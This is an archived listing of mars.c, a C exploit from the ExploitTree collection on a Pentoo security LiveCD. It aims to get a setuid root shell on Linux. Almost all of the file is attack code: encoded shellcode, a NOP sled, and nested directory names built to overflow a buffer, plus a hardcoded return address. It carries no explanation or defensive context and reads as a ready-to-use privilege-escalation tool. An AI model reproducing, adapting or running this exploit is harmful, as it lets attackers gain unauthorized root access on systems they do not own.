home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / mars.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  108 lines

  1. // get a suid shell :)
  2.  
  3. #include <stdio.h>
  4. #include <errno.h>
  5. #include <sys/stat.h>
  6. #include <strings.h>
  7. #include <unistd.h>
  8.  
  9. #define BUFSIZE        254
  10. #define NOP        0x90
  11. #define RET        0xbffff3a0
  12. #define ALIGN        1
  13.  
  14. int makedir(dir)
  15. char *dir;
  16. {
  17.  
  18.     if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
  19.         return -1;
  20.  
  21.     if (chdir(dir))
  22.         return -1;
  23.  
  24.     return 0;
  25. }
  26.     
  27.  
  28. int main(void)
  29. {
  30.     int i = 0, noplen = 0;
  31.     char pid[10], buf[BUFSIZE], *ptr = NULL;
  32.  
  33.     char szelkod[] =
  34.  
  35.         "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d"
  36.         "\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e"
  37.         "\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34"
  38.         "\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54"
  39.         "\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01"
  40.         "\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe"
  41.         "\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c"
  42.         "\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01"
  43.         "\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88"
  44.         "\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01"
  45.         "\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a"
  46.         "\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"
  47.         "\x91\x91\x91\x00";
  48.  
  49.     sprintf(pid, "%d", getpid());
  50.  
  51.     if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
  52.     {
  53.         perror("mkdir()");
  54.         return -1;
  55.     }
  56.  
  57.     if (chdir(pid))
  58.     {
  59.         perror("chdir()");
  60.         return -1;
  61.     }
  62.  
  63.     ptr = buf;
  64.     noplen = BUFSIZE - strlen(szelkod);
  65.  
  66.     for (i=0;i<noplen;i++)
  67.         *ptr++ = NOP;
  68.  
  69.     *ptr += noplen;
  70.  
  71.     for (i=0;i<strlen(szelkod);i++)
  72.         *ptr++ = szelkod[i];
  73.  
  74.     *ptr = '\0';
  75.  
  76.     if(makedir(buf) < 0)
  77.     {
  78.         perror("makedir()");
  79.         return -1;
  80.     }
  81.  
  82.     bzero(buf, BUFSIZE);
  83.     memset(buf, NOP, 40 + ALIGN);
  84.  
  85.     if(makedir(buf) < 0)
  86.     {
  87.         perror("makedir()");
  88.         return -1;
  89.     }
  90.  
  91.     bzero(buf, BUFSIZE);
  92.  
  93.     for(i=0;i<96;i+=4)
  94.         *(long *)&buf[i] = RET;
  95.  
  96.     for(i=0;i<2;i++)
  97.     {
  98.  
  99.         if(makedir(buf) < 0)
  100.         {
  101.             perror("makedir()");
  102.             return -1;
  103.         }
  104.     }
  105.  
  106.     return 0;
  107. }
  108.